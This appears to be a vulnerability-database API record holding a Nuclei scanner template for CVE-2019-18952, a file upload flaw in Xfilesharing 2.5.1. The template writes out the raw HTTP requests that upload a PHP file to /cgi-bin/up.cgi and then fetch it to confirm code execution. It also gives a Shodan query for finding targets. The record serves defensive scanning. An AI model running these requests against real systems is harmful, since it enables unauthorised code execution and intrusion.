{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-18952/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-18952/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-18952/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-18952/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-18952/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-18952"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-18952"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-18952.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2019-18952\n\ninfo:\n  name: Xfilesharing 2.5.1 - Arbitrary File Upload\n  author: daffainfo\n  severity: critical\n  description: |\n    SibSoft Xfilesharing through 2.5.1 allows cgi-bin/up.cgi arbitrary file upload.This can be combined with CVE-2019-18951 to achieve remote code execution via a .html file, containing short codes, that is served over HTTP.\n  remediation: |\n    Apply the latest security patches and updates from the vendor to address this vulnerability.\n  impact:\n    Attackers can upload malicious files and execute arbitrary code remotely, leading to full system compromise.\n  reference:\n    - https://www.exploit-db.com/exploits/47659\n    - https://gist.github.com/pak0s/af9f640170aed335fdf6d110d468dbce\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-18952\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-18952\n    cwe-id: CWE-434\n    epss-score: 0.45361\n    epss-percentile: 0.98737\n    cpe: cpe:2.3:a:sibsoft:xfilesharing:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: sibsoft\n    product: xfilesharing\n    shodan-query: html:\"/?op=registration\" \"OpenSSL\"\n  tags: cve,cve2019,sibsoft,xfilesharing,rce,file-upload,intrusive,vkev,vuln\n\nflow: http(1) && http(2)\n\nvariables:\n  num: \"999999999\"\n  path: \"{{randstr}}\"\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/up.cgi HTTP/1.1\n        Host: {{Hostname}}\n        X-Requested-With: XMLHttpRequest\n        Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337\n\n        -----------------------------5825462663702204104870787337\n        Content-Disposition: form-data; name=\"sid\"\n\n        {{path}}\n        -----------------------------5825462663702204104870787337\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.php\"\n        Content-Type: application/php\n\n        <?php\n        echo md5('{{num}}');\n        unlink(__FILE__);\n        ?>\n        -----------------------------5825462663702204104870787337--\n\n    matchers:\n      - type: word\n        words:\n          - \"<OK>\"\n        internal: true\n\n  - raw:\n      - |\n        GET /cgi-bin/temp/{{path}}/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        words:\n          - \"{{md5(num)}}\"\n# digest: 4b0a004830460221008604841423357f001543eda29819e559b6d35b7ead5341a24d43bcdccf02ccb0022100f4b1c90a5416c2fad39d674b4143ba479eb7c4d86cef41ca2a3c82843160f651:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-18952"
}